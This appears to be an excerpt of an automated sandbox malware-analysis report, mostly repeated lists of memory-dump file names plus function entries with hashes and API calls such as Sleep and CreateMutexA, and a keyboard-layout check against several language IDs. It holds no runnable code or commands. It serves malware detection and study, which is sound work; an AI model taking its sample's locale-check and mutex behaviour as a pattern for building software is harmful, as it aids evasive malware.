Associated: 00000000.00000002.1458465446.0000000000A81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458626713.0000000000A85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458645187.0000000000A86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458657521.0000000000A88000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458929915.0000000000A8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458945923.0000000000A8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458960976.0000000000A8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458977774.0000000000A9D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458989840.0000000000A9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459005401.0000000000AB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459024005.0000000000AB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459038850.0000000000ABE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459055488.0000000000AC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459072461.0000000000ADE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459086887.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459101565.0000000000AEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459116097.0000000000AF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459131565.0000000000AF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459144829.0000000000AF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459158858.0000000000AF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459171112.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459184882.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459199433.0000000000B0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459214292.0000000000B11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459227978.0000000000B13000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459240014.0000000000B14000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459252716.0000000000B16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459264586.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459278527.0000000000B1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459291171.0000000000B23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459305143.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459320428.0000000000B32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459333285.0000000000B33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459345440.0000000000B34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459359173.0000000000B35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459379108.0000000000B42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459393452.0000000000B44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459405663.0000000000B45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459417847.0000000000B46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459417847.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459460215.0000000000B91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459485889.0000000000B92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459501980.0000000000B97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459515010.0000000000B99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459532625.0000000000BA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459545214.0000000000BA8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: e8c8b2eac7f28f0611bf3757e1e6305081934692910a6fbeba7726d925da2961
Instruction ID: 5783af33ad15706f7060f00998a6c80916dddc40d49dd7c06ac82b846a43678a
Opcode Fuzzy Hash: e8c8b2eac7f28f0611bf3757e1e6305081934692910a6fbeba7726d925da2961
Instruction Fuzzy Hash: C1E08C30000648AECE257F28C859E583BB9FF41749F201828F9089A222DB35EEA1C691

Function 04EF022E Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1460843167.0000000004EF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ef0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4ae1f9e90a2a07691b603918b3b60898571a3c2ee8d683129d8f9487f0cc821
Instruction ID: 89f4a7144b0e3b71356a5c24ea0ef0d73a98a8e09203e17d805d757ecc7a1f81
Opcode Fuzzy Hash: f4ae1f9e90a2a07691b603918b3b60898571a3c2ee8d683129d8f9487f0cc821
Instruction Fuzzy Hash: 6241E4E734D220BEB14295966F149FB2B6EE7D73303309126FA07C6643F2C56A4A7171

Function 00895C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000419, xrefs: 00896098
0000043f, xrefs: 0089612B
Keyboard Layout\Preload, xrefs: 00896054
00000422, xrefs: 008960C9
00000423, xrefs: 008960FA

Memory Dump Source

Source File: 00000000.00000002.1457682859.0000000000891000.00000040.00000001.01000000.00000003.sdmp, Offset: 00890000, based on PE: true

Associated: 00000000.00000002.1457671208.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457682859.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457732745.00000000008F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457774864.00000000008FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457790768.0000000000905000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457802488.0000000000906000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457813801.0000000000907000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458357790.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458376642.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458392856.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458420879.0000000000A77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458465446.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458465446.0000000000A81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458626713.0000000000A85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458645187.0000000000A86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458657521.0000000000A88000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458929915.0000000000A8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458945923.0000000000A8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458960976.0000000000A8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458977774.0000000000A9D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458989840.0000000000A9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459005401.0000000000AB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459024005.0000000000AB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459038850.0000000000ABE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459055488.0000000000AC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459072461.0000000000ADE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459086887.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459101565.0000000000AEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459116097.0000000000AF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459131565.0000000000AF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459144829.0000000000AF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459158858.0000000000AF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459171112.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459184882.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459199433.0000000000B0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459214292.0000000000B11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459227978.0000000000B13000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459240014.0000000000B14000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459252716.0000000000B16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459264586.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459278527.0000000000B1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459291171.0000000000B23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459305143.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459320428.0000000000B32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459333285.0000000000B33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459345440.0000000000B34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459359173.0000000000B35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459379108.0000000000B42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459393452.0000000000B44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459405663.0000000000B45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459417847.0000000000B46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459417847.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459460215.0000000000B91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459485889.0000000000B92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459501980.0000000000B97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459515010.0000000000B99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459532625.0000000000BA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459545214.0000000000BA8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: ea1fc5a76fcf08f01419b32edc7eba61b3ccff8a13042de37a6492c606667169
Instruction ID: 59da3626cb91bcf0ddd20d513b86f19e9f743b36a169a99cb3c1564702ec583a
Opcode Fuzzy Hash: ea1fc5a76fcf08f01419b32edc7eba61b3ccff8a13042de37a6492c606667169
Instruction Fuzzy Hash: 48F1D07090025C9BEF24DF68CC84BDEBBB9FB45304F5442A9E519E7281DB749A84CF91

Function 00899BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0089A963
CreateMutexA.KERNEL32(00000000,00000000,008F3254), ref: 0089A981

Memory Dump Source

Source File: 00000000.00000002.1457682859.0000000000891000.00000040.00000001.01000000.00000003.sdmp, Offset: 00890000, based on PE: true

Associated: 00000000.00000002.1457671208.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457682859.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457732745.00000000008F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457774864.00000000008FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457790768.0000000000905000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457802488.0000000000906000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457813801.0000000000907000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458357790.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458376642.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458392856.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458420879.0000000000A77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458465446.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458465446.0000000000A81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458626713.0000000000A85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458645187.0000000000A86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458657521.0000000000A88000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458929915.0000000000A8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458945923.0000000000A8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458960976.0000000000A8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458977774.0000000000A9D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458989840.0000000000A9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459005401.0000000000AB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459024005.0000000000AB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459038850.0000000000ABE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459055488.0000000000AC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459072461.0000000000ADE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459086887.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459101565.0000000000AEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459116097.0000000000AF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459131565.0000000000AF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459144829.0000000000AF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459158858.0000000000AF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459171112.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459184882.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459199433.0000000000B0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459214292.0000000000B11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459227978.0000000000B13000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459240014.0000000000B14000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459252716.0000000000B16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459264586.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459278527.0000000000B1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459291171.0000000000B23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459305143.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459320428.0000000000B32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459333285.0000000000B33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459345440.0000000000B34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459359173.0000000000B35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459379108.0000000000B42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459393452.0000000000B44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459405663.0000000000B45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459417847.0000000000B46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459417847.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459460215.0000000000B91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459485889.0000000000B92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459501980.0000000000B97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459515010.0000000000B99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459532625.0000000000BA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459545214.0000000000BA8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 14db7bb3f277b84cf9f94adc13d8e0e2d5eb6281b5585373ca1af280db405f50
Instruction ID: 370482a4919c1c2039f510c596cce85c0898000896accf1d815c0f184d751edd
Opcode Fuzzy Hash: 14db7bb3f277b84cf9f94adc13d8e0e2d5eb6281b5585373ca1af280db405f50
Instruction Fuzzy Hash: 923107716042448BEF08BB7CDDC976DBA62FBC2324F28821CE055D77D6D77999808792

Function 00899F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0089A963
CreateMutexA.KERNEL32(00000000,00000000,008F3254), ref: 0089A981

Memory Dump Source

Source File: 00000000.00000002.1457682859.0000000000891000.00000040.00000001.01000000.00000003.sdmp, Offset: 00890000, based on PE: true

Associated: 00000000.00000002.1457671208.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457682859.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457732745.00000000008F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457774864.00000000008FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457790768.0000000000905000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457802488.0000000000906000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457813801.0000000000907000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458357790.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458376642.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458392856.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458420879.0000000000A77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458465446.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458465446.0000000000A81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458626713.0000000000A85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458645187.0000000000A86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458657521.0000000000A88000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458929915.0000000000A8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458945923.0000000000A8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458960976.0000000000A8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458977774.0000000000A9D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458989840.0000000000A9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459005401.0000000000AB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459024005.0000000000AB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459038850.0000000000ABE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459055488.0000000000AC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459072461.0000000000ADE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459086887.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459101565.0000000000AEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459116097.0000000000AF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459131565.0000000000AF6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459144829.0000000000AF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459158858.0000000000AF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459171112.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459184882.0000000000B05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459199433.0000000000B0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459214292.0000000000B11000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459227978.0000000000B13000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459240014.0000000000B14000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459252716.0000000000B16000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459264586.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459278527.0000000000B1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459291171.0000000000B23000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459305143.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459320428.0000000000B32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459333285.0000000000B33000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459345440.0000000000B34000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459359173.0000000000B35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459379108.0000000000B42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459393452.0000000000B44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459405663.0000000000B45000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459417847.0000000000B46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459417847.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459460215.0000000000B91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459485889.0000000000B92000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459501980.0000000000B97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459515010.0000000000B99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459532625.0000000000BA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459545214.0000000000BA8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 576547ecf93bc2679cec2615920c480d695ca4871e5d6d4b4f32facad551d7db
Instruction ID: 3f2d3066b09d8ae2efebce9c06ec231b494a3053b93883cfa74b6c8cad945165
Opcode Fuzzy Hash: 576547ecf93bc2679cec2615920c480d695ca4871e5d6d4b4f32facad551d7db
Instruction Fuzzy Hash: 1B3128316002448BFF0CAB7CDC89B6DFB62FB86320F28461CE455D76D5DB3599808792

Function 0089A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0089A963
CreateMutexA.KERNEL32(00000000,00000000,008F3254), ref: 0089A981

Memory Dump Source

Source File: 00000000.00000002.1457682859.0000000000891000.00000040.00000001.01000000.00000003.sdmp, Offset: 00890000, based on PE: true

Associated: 00000000.00000002.1457671208.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457682859.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457732745.00000000008F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457774864.00000000008FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457790768.0000000000905000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457802488.0000000000906000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1457813801.0000000000907000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458357790.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458376642.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458392856.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458420879.0000000000A77000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458465446.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458465446.0000000000A81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458626713.0000000000A85000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458645187.0000000000A86000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458657521.0000000000A88000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458929915.0000000000A8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458945923.0000000000A8B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458960976.0000000000A8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458977774.0000000000A9D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1458989840.0000000000A9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459005401.0000000000AB3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1459024005.0000000000AB4000.00000040.00000001.01000000.00000003.sdmpDownload File
